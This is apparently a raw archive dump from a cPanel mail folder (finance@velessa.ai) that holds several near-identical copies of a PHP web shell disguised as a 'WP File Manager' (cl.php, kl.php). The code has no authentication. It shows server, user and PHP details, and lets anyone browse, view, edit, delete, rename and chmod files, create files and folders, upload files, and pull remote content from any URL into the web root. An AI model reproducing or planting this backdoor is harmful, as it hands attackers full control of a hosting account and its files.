octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]åþ[šBBfinance@velessa.ai/.metadatanu„[µü¤[calendar] protected 1 displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. type VCALENDAR [addressbook] type VADDRESSBOOK protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. PK“&{]„N9³§Ë§Ëfinance@velessa.ai/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëfinance@velessa.ai/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
